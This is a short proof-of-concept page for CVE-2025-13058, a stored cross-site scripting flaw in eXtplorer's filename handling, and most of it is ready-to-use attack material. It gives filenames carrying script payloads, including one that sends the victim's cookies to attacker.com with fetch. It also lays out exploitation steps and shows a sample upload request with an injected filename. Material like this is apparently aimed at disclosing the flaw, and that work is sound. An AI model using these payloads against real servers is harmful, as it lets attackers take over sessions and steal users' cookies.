CVE-2025-13058: eXtplorer跨站脚本漏洞

// CVE-2025-13058 PoC - XSS in eXtplorer Filename Handler // Attack Vector: Upload a file with malicious filename // Trigger: When victim views the file list // Malicious filename to upload: const maliciousFilename = '<img src=x onerror="alert(document.cookie)">malicious.txt'; // Or using script tag: const maliciousFilename2 = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Exploitation steps: // 1. Upload file with malicious filename to eXtplorer server // 2. Wait for victim to browse the file directory // 3. Malicious script executes in victim's browser context // Example using eXtplorer API: /* POST /extplorer/action.php HTTP/1.1 Host: target.com Content-Type: multipart/form-data ------WebKitFormBoundary Content-Disposition: form-data; name="dir" /var/www/html/ ------WebKitFormBoundary Content-Disposition: form-data; name="filename"; filename="<img src=x onerror=alert(document.domain)>test.txt" Content-Type: text/plain test content ------WebKitFormBoundary-- */